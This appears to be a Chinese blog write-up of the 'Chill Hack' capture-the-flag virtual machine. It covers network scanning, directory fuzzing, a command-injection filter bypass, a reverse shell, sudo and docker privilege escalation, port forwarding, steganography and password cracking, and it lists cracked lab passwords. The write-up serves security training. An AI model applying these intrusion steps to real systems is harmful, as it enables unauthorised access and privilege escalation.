chill_hack

image

靶机搭建

下载靶机配置ip与攻击机在同一网段即可

web渗透

主机发现ip扫描
nmap -sP 192.168.11.0/24

image

端口服务探测

nmap -A -p 1-65535 192.168.11.8

image

发现有http服务及公用的ftp共享

image

ftp连接
ftp anonymous@192.168.11.8

image

查看该文件
image

猜测应该有一个命令注入的点

web探测

image
扫描目录文件

ffuf -u http://192.168.11.8/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -c -ic -e .asp,.php,.html,.txt,.py

image

gobuster dir -u http://192.168.1.9 -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt

image

发现可以的目录/secrect

访问得到一个命令注入点
执行失败
image

执行成功
image
其中bash被过滤了,但是;bash,|bash都可执行
base64编码绕过
image

image

执行监听

image
反弹成功

升级shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

image

提权

sudo -l

image

得到以apaar用户权限执行的sh文件

执行

sudo -u apaar /home/apaar/.helpline.sh

image

发现可以以apaar的权限去执行命令,执行/bin/bash

image

得到apaar用户的flag
image

查看开放端口,发现本地有一9001
netstat -putan

image

探测其是否为http服务

curl http://127.0.0.1:9001

image

并且只能为本地访问,frp端口转发

服务端为kali开发4321端口连接

image

客户端
image

成功访问

image

image

探测目录文件

ffuf -u http://192.168.11.146:4321/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -c -ic -e .asp,.php,.html,.txt,.py

image

有一特别的php文件hacker.php

image

根据提示猜测有隐写

同样扫出了一个图片文件/images

image

image

image

下载到本地
steghide提取了一个zip文件

image

解压缩要密码,john爆破hash

image

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
image

得到密码:pass1word

解压得到一源码,有一base64加密的密码

image

解密得到密码:!d0ntKn0wmYp@ssw0rd

image

猜测为某一用户的ssh登录密码
image

用户为anurodh时登录成功

image

发现docker,docker提权

image

image

提权成功,得到flag

image

posted @ 2024-06-05 00:21  vзn0m  阅读(2)  评论(0编辑  收藏  举报